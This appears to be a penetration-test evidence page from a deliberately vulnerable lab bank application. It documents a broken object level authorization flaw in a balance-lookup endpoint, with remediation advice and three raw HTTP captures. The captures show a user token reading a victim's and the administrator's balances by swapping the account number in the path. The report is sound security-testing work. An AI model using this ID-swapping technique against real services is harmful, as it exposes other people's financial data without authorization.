Test case 03 / 26FAIL

Broken Object Level Authorization - Accounts - Balance Lookup

Lab environment — not a production system

Screenshots and raw traffic are not translated; text within them may be in another language.

vuln-bank/Evidence/[FAIL] Broken Object Level Authorization - Accounts - Balance Lookup

01 — Notes

Test notes

Vulnerability

[FAIL] Broken Object Level Authorization - Accounts - Balance Lookup

Description

The /check_balance/<account_number> endpoint returns an account balance based on the account number in the path without checking that the account belongs to the token holder. A valid token is enough to read any account.

Impact

Confidentiality (High): any customer can read the owner name and balance of other customers' accounts, including the administrator's account. Account numbers are also exposed by other endpoints in this application, so the balances of all customers can be mapped systematically.

CWE

CWE-639: Authorization Bypass Through User-Controlled Key

OWASP

A01:2021 - Broken Access Control

Scenario

Normal: the attacker checks their own account balance -> expected. Exploitation: the account number is replaced with the victim's -> HTTP 200, the victim's name and balance are readable. Impact: the administrator account ADMIN001 is readable in the same way.

Endpoint

GET http://127.0.0.1:5001/check_balance/<account_number>

Affected feature

Account balance lookup

Remediation

- Derive the account number from the caller's token, not from the path. - If the parameter is retained, verify account ownership before returning data. - Avoid guessable account numbers and do not display other users' account numbers in any endpoint response.

Proof of concept

1) (Screenshot 1) NORMAL: the attacker checks their own account balance. 2) (Screenshot 2) EXPLOITATION: the account number is replaced with the victim's -> HTTP 200, the victim's name and balance are exposed. 3) (Screenshot 3) CIA IMPACT: the administrator account ADMIN001 is read using an ordinary user token.
View source note (English)
Vulnerability:
[FAIL] Broken Object Level Authorization - Accounts - Balance Lookup

Description:
The /check_balance/<account_number> endpoint returns an account balance based on the account number in the path without checking that the account belongs to the token holder. A valid token is enough to read any account.

Impact:
Confidentiality (High): any customer can read the owner name and balance of other customers' accounts, including the administrator's account. Account numbers are also exposed by other endpoints in this application, so the balances of all customers can be mapped systematically.

CWE:
CWE-639: Authorization Bypass Through User-Controlled Key

OWASP:
A01:2021 - Broken Access Control

Scenario:
Normal: the attacker checks their own account balance -> expected. Exploitation: the account number is replaced with the victim's -> HTTP 200, the victim's name and balance are readable. Impact: the administrator account ADMIN001 is readable in the same way.

Endpoint:
GET http://127.0.0.1:5001/check_balance/<account_number>

Affected Feature:
Account balance lookup

Remediation:
- Derive the account number from the caller's token, not from the path.
- If the parameter is retained, verify account ownership before returning data.
- Avoid guessable account numbers and do not display other users' account numbers in any endpoint response.

POC:
1) (Screenshot 1) NORMAL: the attacker checks their own account balance.
2) (Screenshot 2) EXPLOITATION: the account number is replaced with the victim's -> HTTP 200, the victim's name and balance are exposed.
3) (Screenshot 3) CIA IMPACT: the administrator account ADMIN001 is read using an ordinary user token.

02 — Screenshots

Screenshots (3)

01 / 1
02 / 2
03 / 3

03 — Requests and responses

HTTP captures

Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.

CAPTURE 01 / 1
HTTP request
GET /check_balance/0932191785 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 119
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:12 GMT

{
  "account_number": "0932191785",
  "balance": -8100.0,
  "status": "success",
  "username": "pentest_attacker"
}
CAPTURE 02 / 2
HTTP request
GET /check_balance/9159912486 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 117
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:13 GMT

{
  "account_number": "9159912486",
  "balance": 10100.0,
  "status": "success",
  "username": "pentest_victim"
}
CAPTURE 03 / 3
HTTP request
GET /check_balance/ADMIN001 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 108
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:14 GMT

{
  "account_number": "ADMIN001",
  "balance": 1000000.0,
  "status": "success",
  "username": "admin"
}